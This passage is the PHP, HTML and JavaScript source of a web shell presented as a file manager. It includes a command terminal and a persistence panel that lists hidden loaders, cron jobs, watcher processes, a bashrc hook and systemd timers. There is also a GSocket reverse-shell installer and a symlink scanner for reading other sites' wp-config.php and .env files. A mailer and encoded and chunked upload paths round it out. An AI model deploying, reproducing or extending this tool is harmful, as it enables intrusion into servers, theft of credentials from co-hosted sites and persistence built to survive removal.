<h3>⚠️ Cannot read directory</h3>
<p>Permission denied or directory does not exist.</p>
</div>
<?php endif; ?>
<div class="main-content" id="mainContent">
<div class="file-list">
<div class="file-list-header">
<span></span>
<span>Name</span>
<span>Size</span>
<span>Modified</span>
<span>Perms</span>
<span>Owner/Group</span>
<span>Actions</span>
</div>
<?php if (empty($allItems)): ?>
<div class="empty-message">
<p>📭 This folder is empty</p>
</div>
<?php else: ?>
<?php foreach ($allItems as $item): ?>
<div class="file-item" 
data-path="<?= htmlspecialchars($item['path']) ?>" 
data-name="<?= htmlspecialchars($item['name']) ?>" 
data-isdir="<?= $item['isDir'] ? '1' : '0' ?>"
data-writable="<?= $item['writable'] ? '1' : '0' ?>"
oncontextmenu="showContextMenu(event, this)">
<span class="icon"><?= $item['icon'] ?></span>
<span class="name">
<?php if ($item['isDir']): ?>
<a href="#" onclick="navigateTo('<?= htmlspecialchars(addslashes($item['path'])) ?>'); return false;"><?= htmlspecialchars($item['name']) ?></a>
<?php else: ?>
<span><?= htmlspecialchars($item['name']) ?></span>
<?php endif; ?>
</span>
<span><?= $item['size'] ?></span>
<span><?= $item['modified'] ?></span>
<span style="color: <?= $item['writable'] ? '#00FF00' : '#FF0000' ?>"><?= $item['perms'] ?></span>
<span><?= htmlspecialchars($item['owner']) ?>/<?= htmlspecialchars($item['group']) ?></span>
<span class="actions">
<?php if (!$item['isDir']): ?>
<button onclick="event.stopPropagation(); downloadFile('<?= htmlspecialchars(addslashes($item['path'])) ?>')" title="Download">⬇️</button>
<button onclick="event.stopPropagation(); openEditor('<?= htmlspecialchars(addslashes($item['path'])) ?>')" title="Edit">📝</button>
<?php endif; ?>
<?php if ($item['name'] !== '..'): ?>
<button onclick="event.stopPropagation(); showChmodModal('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= $item['perms'] ?>', <?= $item['isDir'] ? 'true' : 'false' ?>)" title="Chmod">🔐</button>
<button onclick="event.stopPropagation(); showRenameModal('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= htmlspecialchars(addslashes($item['name'])) ?>')" title="Rename">✏️</button>
<button onclick="event.stopPropagation(); showInfoPanel('<?= htmlspecialchars(addslashes($item['path'])) ?>')" title="Info">ℹ️</button>
<button onclick="event.stopPropagation(); confirmDelete('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= htmlspecialchars(addslashes($item['name'])) ?>')" title="Delete">🗑️</button>
<?php endif; ?>
</span>
</div>
<?php endforeach; ?>
<?php endif; ?>
</div>
<div class="terminal-panel" id="terminalPanel" style="display: none;">
<div class="terminal-header">
<h3>💻 Terminal</h3>
<div style="display:flex;gap:10px;align-items:center;flex-wrap:wrap;">
<label style="display:flex;align-items:center;gap:5px;font-size:0.8rem;cursor:pointer;">
<input type="checkbox" id="ttyMode" onchange="toggleTtyMode()">
<span id="ttyLabel">TTY</span>
</label>
<select id="timeoutSelect" style="background:#333;color:#fff;border:none;padding:5px;border-radius:4px;font-size:0.75rem;">
<option value="5">5s</option>
<option value="10">10s</option>
<option value="30" selected>30s</option>
<option value="60">60s</option>
<option value="120">2m</option>
<option value="300">5m</option>
</select>
<button class="btn" onclick="clearTerminal()">Clear</button>
</div>
</div>
<div class="terminal-output" id="terminalOutput">
<div class="info">Terminal ready. TTY mode available for interactive commands.</div>
<div class="output">Working directory: <?= htmlspecialchars($currentDir) ?></div>
</div>
<div class="terminal-input">
<input type="text" id="terminalInput" placeholder="Enter command..." onkeydown="handleTerminalKey(event)">
<button onclick="executeCommand()">Run</button>
</div>
</div>
</div>
<div class="status-bar">
<span>📍 <?= htmlspecialchars($currentDir) ?></span>
<span>📁 <?= $folderCount ?> folders, 📄 <?= $fileCount ?> files</span>
</div>
</div>
<div class="context-menu" id="contextMenu">
<button onclick="contextAction('open')">📂 Open</button>
<button onclick="contextAction('download')" id="ctxDownload">⬇️ Download</button>
<button onclick="contextAction('unzip')" id="ctxUnzip" style="display:none;">📦 Extract</button>
<hr>
<button onclick="contextAction('cut')">✂️ Cut</button>
<button onclick="contextAction('copy')">📋 Copy</button>
<button onclick="contextAction('paste')" id="ctxPaste">📌 Paste Here</button>
<hr>
<button onclick="contextAction('edit')" id="ctxEdit">📝 Edit</button>
<button onclick="contextAction('rename')" id="ctxRename">✏️ Rename</button>
<button onclick="contextAction('chmod')" id="ctxChmod">🔐 Chmod</button>
<button onclick="contextAction('info')">ℹ️ Properties</button>
<hr>
<button onclick="contextAction('delete')" id="ctxDelete">🗑️ Delete</button>
</div>
<div class="modal" id="renameModal">
<div class="modal-content">
<h2>✏️ Rename</h2>
<input type="text" id="renameInput" placeholder="New name">
<input type="hidden" id="renamePath">
<div class="modal-actions">
<button class="btn" onclick="closeModal('renameModal')">Cancel</button>
<button class="btn btn-success" onclick="doRename()">Rename</button>
</div>
</div>
</div>
<div class="modal" id="crontabModal">
<div class="modal-content" style="width:90%;max-width:800px;">
<h2>⏰ Crontab</h2>
<div id="crontabLoading" style="text-align:center;padding:20px;">Loading...</div>
<div id="crontabError" style="display:none;color:#FF0000;text-align:center;padding:20px;"></div>
<textarea id="crontabContent" style="display:none;width:100%;height:300px;background:#1a1a1a;color:#00FF00;border:1px solid #333;font-family:monospace;padding:10px;resize:vertical;" placeholder="# m h dom mon dow command"></textarea>
<div class="modal-actions">
<button class="btn" onclick="closeModal('crontabModal')">Cancel</button>
<button class="btn btn-success" id="crontabSaveBtn" onclick="saveCrontab()" style="display:none;">Save</button>
</div>
</div>
</div>
<div class="modal" id="autoReinstallModal">
<div class="modal-content" style="max-width:500px;">
<h2>🛡️ Auto Reinstall (Persistence)</h2>
<p style="font-size:0.85rem;color:#888;margin-bottom:15px;">Enable auto-reinstall to automatically restore the file manager if it gets deleted.</p>
<div id="autoReinstallLoading" style="text-align:center;padding:20px;">Loading...</div>
<div id="autoReinstallContent" style="display:none;">
<div class="info-row"><span class="label">Status:</span><span id="arStatus">-</span></div>
<div class="info-row"><span class="label">Hidden Backup:</span><span id="arBackup">-</span></div>
<div class="info-row"><span class="label">Hidden Loader:</span><span id="arLoader">-</span></div>
<div class="info-row"><span class="label">.user.ini:</span><span id="arIni">-</span></div>
<div class="info-row"><span class="label">Hosting Type:</span><span id="arHosting">-</span></div>
<div class="info-row"><span class="label">Web User:</span><span id="arWebUser">-</span></div>
<div class="info-row"><span class="label">Cron/Task:</span><span id="arCron">-</span></div>
<div class="info-row"><span class="label">Nohup Watcher:</span><span id="arWatcherNohup">-</span></div>
<div class="info-row"><span class="label">Setsid Watcher:</span><span id="arWatcherSetsid">-</span></div>
<div class="info-row"><span class="label">Bashrc Hook:</span><span id="arBashrc">-</span></div>
<div class="info-row"><span class="label">Systemd Timer:</span><span id="arSystemd">-</span></div>
<div class="info-row"><span class="label">Multi Backups:</span><span id="arMulti">-</span></div>
<div class="info-row"><span class="label">Chmod Protect:</span><span id="arChmod">-</span></div>
<div class="info-row"><span class="label">Password:</span><span id="arHasPassword">-</span></div>
<div class="info-row"><span class="label">Source Path:</span><span id="arPath" style="word-break:break-all;">-</span></div>
<div class="info-row"><span class="label">Hidden Path:</span><span id="arHiddenPath" style="word-break:break-all;font-size:0.75rem;">-</span></div>
<div id="arPasswordSection" style="margin-top:15px;padding:10px;background:#1a1a1a;border-radius:5px;">
<label style="display:block;margin-bottom:5px;font-size:0.85rem;">Persist Password:</label>
<input type="password" id="arPassword" placeholder="Enter password (optional for enable, required for disable if set)" style="width:100%;padding:8px;background:#222;border:1px solid #444;color:#0f0;border-radius:4px;">
<p style="font-size:0.7rem;color:#666;margin-top:5px;">Set a password to protect against unauthorized disabling.</p>
<div class="info-row" style="margin-top:8px;"><span class="label">Index Status:</span><span id="arIndexStatus">-</span></div>
<div style="margin-top:12px;border-top:1px solid #333;padding-top:12px;">
<label style="display:block;margin-bottom:5px;font-size:0.85rem;">Custom Index Paths:</label>
<div id="arCustomPaths"></div>
<button type="button" onclick="addCustomPath()" style="font-size:0.75rem;padding:4px 8px;background:#333;color:#0f0;border:1px solid #555;border-radius:3px;cursor:pointer;margin-top:5px;">+ Add Path</button>
<p style="font-size:0.7rem;color:#666;margin-top:5px;">Add custom index.php paths to backup (absolute paths like /var/www/site/index.php)</p>
</div>
<div style="margin-top:12px;border-top:1px solid #333;padding-top:12px;">
<label style="display:block;margin-bottom:5px;font-size:0.85rem;">Index Detection Strings:</label>
<div id="arCustomStrings"></div>
<button type="button" onclick="addCustomString()" style="font-size:0.75rem;padding:4px 8px;background:#333;color:#0f0;border:1px solid #555;border-radius:3px;cursor:pointer;margin-top:5px;">+ Add String</button>
<p style="font-size:0.7rem;color:#666;margin-top:5px;">Add detection strings - index.php will be restored if ANY string is missing</p>
</div>
</div>
</div>
<div id="autoReinstallError" style="display:none;color:#FF0000;text-align:center;padding:10px;"></div>
<div class="modal-actions">
<button class="btn" onclick="closeModal('autoReinstallModal')">Close</button>
<button class="btn btn-danger" id="arDisableBtn" onclick="toggleAutoReinstall(false)" style="display:none;">Disable</button>
<button class="btn btn-success" id="arEnableBtn" onclick="toggleAutoReinstall(true)" style="display:none;">Enable</button>
</div>
</div>
</div>
<div class="modal" id="domainInfoModal">
<div class="modal-content">
<h2>🌐 Domain Info</h2>
<div id="domainInfoContent"><div style="text-align:center;padding:20px;">Loading...</div></div>
<div class="modal-actions">
<button class="btn" onclick="closeModal('domainInfoModal')">Close</button>
</div>
</div>
</div>
<div class="modal" id="newFolderModal">
<div class="modal-content">
<h2>📁 New Folder</h2>
<input type="text" id="newFolderInput" placeholder="Folder name">
<div class="modal-actions">
<button class="btn" onclick="closeModal('newFolderModal')">Cancel</button>
<button class="btn btn-success" onclick="doNewFolder()">Create</button>
</div>
</div>
</div>
<div class="modal" id="newFileModal">
<div class="modal-content">
<h2>📄 New File</h2>
<input type="text" id="newFileInput" placeholder="File name (e.g., script.php)">
<div class="modal-actions">
<button class="btn" onclick="closeModal('newFileModal')">Cancel</button>
<button class="btn btn-success" onclick="doNewFile()">Create</button>
</div>
</div>
</div>
<div class="modal" id="gsocketModal">
<div class="modal-content" style="max-width:600px;">
<h2>🔌 GSocket Auto-Install</h2>
<p style="font-size:0.85rem;color:#888;margin-bottom:15px;">Install GSocket for secure reverse shell access through firewalls. Uses <a href="https://gsocket.io" target="_blank" style="color:#667eea;">gsocket.io</a></p>
<div style="margin-bottom:15px;">
<label style="font-size:0.85rem;color:#888;display:block;margin-bottom:5px;">Secret (optional - leave empty for auto-generated)</label>
<input type="text" id="gsocketSecret" placeholder="Leave empty for auto-generated secret" style="width:100%;">
</div>
<div style="margin-bottom:15px;">
<label style="font-size:0.85rem;cursor:pointer;">
<input type="checkbox" id="gsocketNoinst"> 
No Install Mode (run once, won't survive reboot)
</label>
</div>
<div style="margin-bottom:15px;">
<label style="font-size:0.85rem;cursor:pointer;">
<input type="checkbox" id="gsocketNocert"> 
Ignore SSL certificate warnings
</label>
</div>
<div style="background:#0d0d0d;padding:15px;border-radius:8px;margin-bottom:15px;">
<div style="font-size:0.75rem;color:#888;margin-bottom:5px;">Command to execute:</div>
<code id="gsocketCommand" style="font-size:0.8rem;color:#27ae60;word-break:break-all;"></code>
</div>
<div id="gsocketResult" style="display:none;background:#1a1a2e;padding:15px;border-radius:8px;margin-bottom:15px;max-height:200px;overflow-y:auto;">
<div style="font-size:0.75rem;color:#888;margin-bottom:5px;">Output:</div>
<pre id="gsocketOutput" style="font-size:0.8rem;color:#ccc;margin:0;white-space:pre-wrap;"></pre>
</div>
<div class="modal-actions">
<button class="btn" onclick="closeModal('gsocketModal')">Cancel</button>
<button class="btn" onclick="copyGsocketCommand()" style="background:#3498db;">📋 Copy Command</button>
<button class="btn btn-success" onclick="runGsocket()" id="gsocketRunBtn">🚀 Install GSocket</button>
</div>
</div>
</div>
<div class="modal" id="sysInfoModal">
<div class="modal-content" style="max-width:600px;">
<h2>ℹ️ System Information</h2>
<div id="sysInfoContent" style="text-align:left;">
<div style="text-align:center;padding:20px;">Loading...</div>
</div>
<div class="modal-actions">
<button class="btn" onclick="closeModal('sysInfoModal')">Close</button>
</div>
</div>
</div>
<div class="modal" id="mailerModal">
<div class="modal-content" style="max-width:550px;">
<h2>📧 Mailer Tester</h2>
<div style="margin-bottom:15px;">
<label style="font-size:0.8rem;color:#888;display:block;margin-bottom:3px;">Method</label>
<select id="mailerMethod" onchange="toggleSmtpFields()" style="width:100%;padding:10px;background:#1a1a1a;color:#00FF00;border:1px solid #333;border-radius:5px;">
<option value="server">Server Mail (Simple)</option>
<option value="mail">PHP mail()</option>
<option value="smtp">SMTP</option>
</select>
</div>
<div id="smtpFields" style="display:none;background:#0d0d0d;padding:15px;border-radius:8px;margin-bottom:15px;">
<div style="display:grid;grid-template-columns:1fr 100px;gap:10px;margin-bottom:10px;">
<div><label style="font-size:0.75rem;color:#888;">SMTP Host</label><input type="text" id="smtpHost" placeholder="smtp.gmail.com" style="width:100%;"></div>
<div><label style="font-size:0.75rem;color:#888;">Port</label><input type="number" id="smtpPort" value="587" style="width:100%;"></div>
</div>
<div style="margin-bottom:10px;"><label style="font-size:0.75rem;color:#888;">Username</label><input type="text" id="smtpUser" placeholder="user@gmail.com" style="width:100%;"></div>
<div style="margin-bottom:10px;"><label style="font-size:0.75rem;color:#888;">Password</label><input type="password" id="smtpPass" placeholder="App password" style="width:100%;"></div>
<div><label style="font-size:0.75rem;color:#888;">Security</label>
<select id="smtpSecure" style="width:100%;padding:8px;background:#1a1a1a;color:#00FF00;border:1px solid #333;border-radius:5px;">
<option value="tls">TLS (Port 587)</option>
<option value="ssl">SSL (Port 465)</option>
<option value="none">None (Port 25)</option>
</select></div>
</div>
<div id="simpleMailFields">
<div style="margin-bottom:10px;"><label style="font-size:0.75rem;color:#888;">Your Email</label><input type="email" id="mailerTo" placeholder="your@email.com" style="width:100%;"></div>
</div>
<div id="advancedMailFields" style="display:none;">
<div style="display:grid;grid-template-columns:1fr 1fr;gap:10px;margin-bottom:10px;">
<div><label style="font-size:0.75rem;color:#888;">From Email</label><input type="email" id="mailerFrom" placeholder="sender@domain.com" style="width:100%;"></div>
<div><label style="font-size:0.75rem;color:#888;">From Name</label><input type="text" id="mailerFromName" value="Mailer Test" style="width:100%;"></div>
</div>
<div style="margin-bottom:10px;"><label style="font-size:0.75rem;color:#888;">Subject</label><input type="text" id="mailerSubject" value="Test Email" style="width:100%;"></div>
<div style="margin-bottom:15px;"><label style="font-size:0.75rem;color:#888;">Message</label><textarea id="mailerMessage" rows="3" placeholder="Your test message..." style="width:100%;background:#1a1a1a;color:#00FF00;border:1px solid #333;border-radius:5px;padding:10px;resize:vertical;">This is a test email sent from PHP Mailer Tester.</textarea></div>
</div>
<div id="mailerResult" style="display:none;padding:12px;border-radius:8px;margin-bottom:15px;font-size:0.85rem;"></div>
<div class="modal-actions">
<button class="btn" onclick="closeModal('mailerModal')">Cancel</button>
<button class="btn btn-success" onclick="sendTestMail()" id="mailerSendBtn">📤 Send Test</button>
</div>
</div>
</div>
<div class="modal" id="unzipModal">
<div class="modal-content" style="max-width:500px;">
<h2>📦 Extract Archive</h2>
<div style="margin-bottom:15px;">
<label style="font-size:0.8rem;color:#888;display:block;margin-bottom:3px;">Archive File</label>
<input type="text" id="unzipPath" placeholder="Enter archive path or right-click file to extract" style="width:100%;">
</div>
<div style="margin-bottom:15px;">
<label style="font-size:0.8rem;color:#888;display:block;margin-bottom:3px;">Extract To</label>
<input type="text" id="unzipDest" placeholder="Destination directory" style="width:100%;">
</div>
<div style="margin-bottom:15px;">
<label style="font-size:0.8rem;color:#888;display:block;margin-bottom:3px;">Method</label>
<select id="unzipMethod" style="width:100%;padding:10px;background:#1a1a1a;color:#00FF00;border:1px solid #333;border-radius:5px;">
<option value="auto">Auto Detect</option>
</select>
<div id="unzipMethodsLoading" style="font-size:0.75rem;color:#888;margin-top:5px;">Loading available methods...</div>
</div>
<div id="unzipResult" style="display:none;padding:12px;border-radius:8px;margin-bottom:15px;font-size:0.85rem;max-height:150px;overflow-y:auto;"></div>
<div class="modal-actions">
<button class="btn" onclick="closeModal('unzipModal')">Cancel</button>
<button class="btn btn-success" onclick="doUnzip()" id="unzipBtn">📦 Extract</button>
</div>
</div>
</div>
<div class="modal" id="symlinkModal">
<div class="modal-content" style="max-width:700px;">
<h2>🔗 Symlink Domain Scanner</h2>
<div style="margin-bottom:15px;">
<label style="font-size:0.8rem;color:#888;display:block;margin-bottom:3px;">File to Read</label>
<input type="text" id="symlinkFile" value="index.php" placeholder="e.g., index.php, wp-config.php, .env" style="width:100%;">
</div>
<div style="margin-bottom:15px;">
<button class="btn btn-success" onclick="scanSymlinkDomains()" id="symlinkScanBtn">🔍 Scan Domains</button>
<span id="symlinkScanStatus" style="margin-left:10px;font-size:0.85rem;color:#888;"></span>
</div>
<div id="symlinkDomainList" style="max-height:300px;overflow-y:auto;border:1px solid #333;border-radius:8px;background:#0a0a0a;"></div>
<div id="symlinkFileContent" style="display:none;margin-top:15px;">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:10px;">
<h3 style="color:#00FF00;margin:0;font-size:0.9rem;" id="symlinkFilePath"></h3>
<div>
<span id="symlinkFileOwner" style="font-size:0.75rem;color:#888;margin-right:10px;"></span>
<button class="btn" onclick="createSymlinkFromScan()" style="padding:5px 10px;font-size:0.8rem;">🔗 Create Symlink</button>
</div>
</div>
<pre id="symlinkContentPre" style="background:#111;padding:15px;border-radius:8px;max-height:200px;overflow:auto;font-size:0.75rem;white-space:pre-wrap;word-break:break-all;color:#0f0;border:1px solid #333;"></pre>
</div>
<div class="modal-actions" style="margin-top:15px;">
<button class="btn" onclick="closeModal('symlinkModal')">Close</button>
</div>
</div>
</div>
<div class="modal" id="chmodModal">
<div class="modal-content">
<h2>🔐 Change Permissions</h2>
<input type="hidden" id="chmodPath">
<input type="hidden" id="chmodIsDir">
<input type="text" id="chmodInput" placeholder="Permission mode (e.g., 755, 644)" maxlength="4">
<div style="margin-bottom:15px;">
<div style="display:grid;grid-template-columns:repeat(3,1fr);gap:10px;margin-bottom:10px;">
<div style="text-align:center;font-size:0.85rem;color:#888;">Owner</div>
<div style="text-align:center;font-size:0.85rem;color:#888;">Group</div>
<div style="text-align:center;font-size:0.85rem;color:#888;">Others</div>
</div>
<div style="display:grid;grid-template-columns:repeat(3,1fr);gap:10px;">
<div style="display:flex;flex-direction:column;gap:5px;">
<label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_or" onchange="updateChmodFromCheckboxes()"> Read</label>
<label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_ow" onchange="updateChmodFromCheckboxes()"> Write</label>
<label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_ox" onchange="updateChmodFromCheckboxes()"> Execute</label>
</div>
<div style="display:flex;flex-direction:column;gap:5px;">
<label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_gr" onchange="updateChmodFromCheckboxes()"> Read</label>
<label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_gw" onchange="updateChmodFromCheckboxes()"> Write</label>
<label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_gx" onchange="updateChmodFromCheckboxes()"> Execute</label>
</div>
<div style="display:flex;flex-direction:column;gap:5px;">
<label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_wr" onchange="updateChmodFromCheckboxes()"> Read</label>
<label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_ww" onchange="updateChmodFromCheckboxes()"> Write</label>
<label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_wx" onchange="updateChmodFromCheckboxes()"> Execute</label>
</div>
</div>
</div>
<div id="chmodRecursiveOption" style="margin-bottom:15px;display:none;">
<label style="font-size:0.85rem;cursor:pointer;"><input type="checkbox" id="chmodRecursive"> Apply recursively to all contents</label>
</div>
<div style="display:flex;gap:5px;flex-wrap:wrap;margin-bottom:15px;">
<button class="btn" onclick="setChmodPreset('755')" style="padding:5px 10px;font-size:0.8rem;">755</button>
<button class="btn" onclick="setChmodPreset('644')" style="padding:5px 10px;font-size:0.8rem;">644</button>
<button class="btn" onclick="setChmodPreset('777')" style="padding:5px 10px;font-size:0.8rem;">777</button>
<button class="btn" onclick="setChmodPreset('700')" style="padding:5px 10px;font-size:0.8rem;">700</button>
<button class="btn" onclick="setChmodPreset('600')" style="padding:5px 10px;font-size:0.8rem;">600</button>
</div>
<div class="modal-actions">
<button class="btn" onclick="closeModal('chmodModal')">Cancel</button>
<button class="btn btn-success" onclick="doChmod()">Apply</button>
</div>
</div>
</div>
<div class="modal" id="editorModal">
<div class="modal-content" style="width:90%;max-width:1200px;height:85vh;">
<h2 id="editorTitle">📝 Edit File</h2>
<input type="hidden" id="editorPath">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:10px;">
<span id="editorInfo" style="font-size:0.85rem;color:#888;"></span>
<span id="editorStatus" style="font-size:0.85rem;color:#0f0;"></span>
</div>
<textarea id="editorContent" style="width:100%;height:calc(100% - 120px);background:#1a1a1a;color:#0f0;border:1px solid #333;padding:10px;font-family:monospace;font-size:14px;resize:none;white-space:pre;overflow:auto;tab-size:4;" spellcheck="false"></textarea>
<div class="modal-actions" style="margin-top:10px;">
<button class="btn" onclick="closeModal('editorModal')">Cancel</button>
<button class="btn" onclick="downloadEditorContent()">Download</button>
<button class="btn btn-success" id="editorSaveBtn" onclick="saveEditorContent()">Save</button>
</div>
</div>
</div>
<div class="info-panel" id="infoPanel">
<h3>
<span>📋 Properties</span>
<button class="close" onclick="closeInfoPanel()">×</button>
</h3>
<div id="infoContent"></div>
</div>
<div class="toast" id="toast"></div>
<button class="toggle-terminal" onclick="toggleTerminal()">💻</button>

<script>
const currentDir = <?= json_encode($currentDir) ?>;
let clipboard = { path: null, action: null, name: null };
let contextTarget = null;
let commandHistory = [];
let historyIndex = -1;
let terminalVisible = false;
function navigateTo(path) {
document.getElementById('navPath').value = path;
document.getElementById('navForm').submit();
}
function showToast(message, isError = false) {
const toast = document.getElementById('toast');
toast.textContent = message;
toast.className = 'toast active' + (isError ? ' error' : '');
setTimeout(() => toast.classList.remove('active'), 3000);
}
function toggleUpload() {
const zone = document.getElementById('dropZone');
zone.classList.toggle('active');
if (zone.classList.contains('active')) {
document.getElementById('fileInput').click();
}
}
function toggleTerminal() {
const panel = document.getElementById('terminalPanel');
const mainContent = document.getElementById('mainContent');
terminalVisible = !terminalVisible;
panel.style.display = terminalVisible ? 'flex' : 'none';
mainContent.classList.toggle('with-terminal', terminalVisible);
if (terminalVisible) {
document.getElementById('terminalInput').focus();
}
}
document.getElementById('fileInput').addEventListener('change', function(e) {
uploadFiles(e.target.files);
});
const dropZone = document.getElementById('dropZone');
document.body.addEventListener('dragover', function(e) {
e.preventDefault();
dropZone.classList.add('active', 'dragover');
});
document.body.addEventListener('dragleave', function(e) {
if (!e.relatedTarget || !document.body.contains(e.relatedTarget)) {
dropZone.classList.remove('dragover');
}
});
document.body.addEventListener('drop', function(e) {
e.preventDefault();
dropZone.classList.remove('active', 'dragover');
if (e.dataTransfer.files.length) {
uploadFiles(e.dataTransfer.files);
}
});
function uploadFiles(files) {
const formData = new FormData();
formData.append('action', 'upload');
formData.append('uploadDir', currentDir);
for (let i = 0; i < files.length; i++) {
formData.append('files[]', files[i]);
}
showToast('Uploading ' + files.length + ' file(s)...');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
const successful = data.results.filter(r => r.success).length;
const failed = data.results.filter(r => !r.success).length;
if (failed > 0) {
showToast(successful + ' uploaded, ' + failed + ' failed', true);
} else {
showToast('All files uploaded successfully!');
}
setTimeout(() => location.reload(), 1000);
} else {
showToast('Upload failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => showToast('Upload failed: ' + err, true));
}
let uploadV2InProgress = false;
function triggerUploadV2() {
if (uploadV2InProgress) return;
document.getElementById('fileInputV2').click();
}
document.getElementById('fileInputV2').addEventListener('change', function(e) {
if (e.target.files.length > 0 && !uploadV2InProgress) {
const file = e.target.files[0];
e.target.value = '';
uploadFileV2(file);
}
});
function uploadFileV2(file) {
uploadV2InProgress = true;
const formData = new FormData();
formData.append('action', 'uploadV2');
formData.append('f', file);
formData.append('c', currentDir);
showToast('Uploading (V2): ' + file.name + '...');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
uploadV2InProgress = false;
if (data.success) {
showToast('Uploaded: ' + data.file);
setTimeout(() => location.reload(), 1000);
} else {
showToast('Upload failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => {
uploadV2InProgress = false;
showToast('Upload failed: ' + err, true);
});
}
let uploadV3InProgress = false;
function triggerUploadV3() {
if (uploadV3InProgress) return;
document.getElementById('fileInputV3').click();
}
document.getElementById('fileInputV3').addEventListener('change', function(e) {
if (e.target.files.length > 0 && !uploadV3InProgress) {
const file = e.target.files[0];
e.target.value = '';
uploadFileV3(file);
}
});
function uploadFileV3(file) {
uploadV3InProgress = true;
showToast('Encoding (V3): ' + file.name + '...');
const reader = new FileReader();
reader.onload = function(e) {
const base64 = e.target.result.split(',')[1];
const formData = new FormData();
formData.append('action', 'uploadV3');
formData.append('n', file.name);
formData.append('d', base64);
formData.append('c', currentDir);
showToast('Uploading (V3): ' + file.name + '...');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
uploadV3InProgress = false;
if (data.success) {
showToast('Uploaded: ' + data.file);
setTimeout(() => location.reload(), 1000);
} else {
showToast('Upload failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => {
uploadV3InProgress = false;
showToast('Upload failed: ' + err, true);
});
};
reader.readAsDataURL(file);
}
let uploadV4InProgress = false;
function triggerUploadV4() {
if (uploadV4InProgress) return;
document.getElementById('fileInputV4').click();
}
document.getElementById('fileInputV4').addEventListener('change', function(e) {
if (e.target.files.length > 0 && !uploadV4InProgress) {
const file = e.target.files[0];
e.target.value = '';
uploadFileV4(file);
}
});
function uploadFileV4(file) {
uploadV4InProgress = true;
const chunkSize = 64 * 1024;
const totalChunks = Math.ceil(file.size / chunkSize);
let currentChunk = 0;
showToast('Uploading (V4): ' + file.name + ' in ' + totalChunks + ' chunks...');
function sendChunk() {
const start = currentChunk * chunkSize;
const end = Math.min(start + chunkSize, file.size);
const blob = file.slice(start, end);
const reader = new FileReader();
reader.onload = function(e) {
const base64 = e.target.result.split(',')[1];
const formData = new FormData();
formData.append('action', 'uploadV4');
formData.append('n', file.name);
formData.append('chunk', base64);
formData.append('i', currentChunk);
formData.append('t', totalChunks);
formData.append('c', currentDir);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
if (data.complete) {
uploadV4InProgress = false;
showToast('Uploaded: ' + data.file);
setTimeout(() => location.reload(), 1000);
} else {
currentChunk++;
showToast('Chunk ' + currentChunk + '/' + totalChunks + '...');
sendChunk();
}
} else {
uploadV4InProgress = false;
showToast('Upload failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => {
uploadV4InProgress = false;
showToast('Upload failed: ' + err, true);
});
};
reader.readAsDataURL(blob);
}
sendChunk();
}
function downloadFile(path) {
window.location.href = '?download=' + encodeURIComponent(path);
}
function confirmDelete(path, name) {
if (confirm('Are you sure you want to delete "' + name + '"?\n\nThis action cannot be undone.')) {
const formData = new FormData();
formData.append('action', 'delete');
formData.append('path', path);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
showToast('Deleted successfully');
setTimeout(() => location.reload(), 500);
} else {
showToast('Delete failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => showToast('Delete failed: ' + err, true));
}
}
function showRenameModal(path, name) {
document.getElementById('renamePath').value = path;
document.getElementById('renameInput').value = name;
document.getElementById('renameModal').classList.add('active');
setTimeout(() => {
const input = document.getElementById('renameInput');
input.focus();
const lastDot = name.lastIndexOf('.');
if (lastDot > 0) {
input.setSelectionRange(0, lastDot);
} else {
input.select();
}
}, 100);
}
function doRename() {
const path = document.getElementById('renamePath').value;
const newName = document.getElementById('renameInput').value.trim();
if (!newName) {
showToast('Please enter a name', true);
return;
}
const formData = new FormData();
formData.append('action', 'rename');
formData.append('oldPath', path);
formData.append('newName', newName);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
showToast('Renamed successfully');
setTimeout(() => location.reload(), 500);
} else {
showToast('Rename failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => showToast('Rename failed: ' + err, true));
}
function showNewFolderModal() {
document.getElementById('newFolderInput').value = '';
document.getElementById('newFolderModal').classList.add('active');
setTimeout(() => document.getElementById('newFolderInput').focus(), 100);
}
function doNewFolder() {
const name = document.getElementById('newFolderInput').value.trim();
if (!name) {
showToast('Please enter a folder name', true);
return;
}
const formData = new FormData();
formData.append('action', 'newfolder');
formData.append('name', name);
formData.append('parentDir', currentDir);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
showToast('Folder created');
setTimeout(() => location.reload(), 500);
} else {
showToast('Failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => showToast('Failed: ' + err, true));
}
function showNewFileModal() {
document.getElementById('newFileInput').value = '';
document.getElementById('newFileModal').classList.add('active');
setTimeout(() => document.getElementById('newFileInput').focus(), 100);
}
function doNewFile() {
const name = document.getElementById('newFileInput').value.trim();
if (!name) {
showToast('Please enter a file name', true);
return;
}
const formData = new FormData();
formData.append('action', 'newfile');
formData.append('name', name);
formData.append('parentDir', currentDir);
formData.append('content', '');
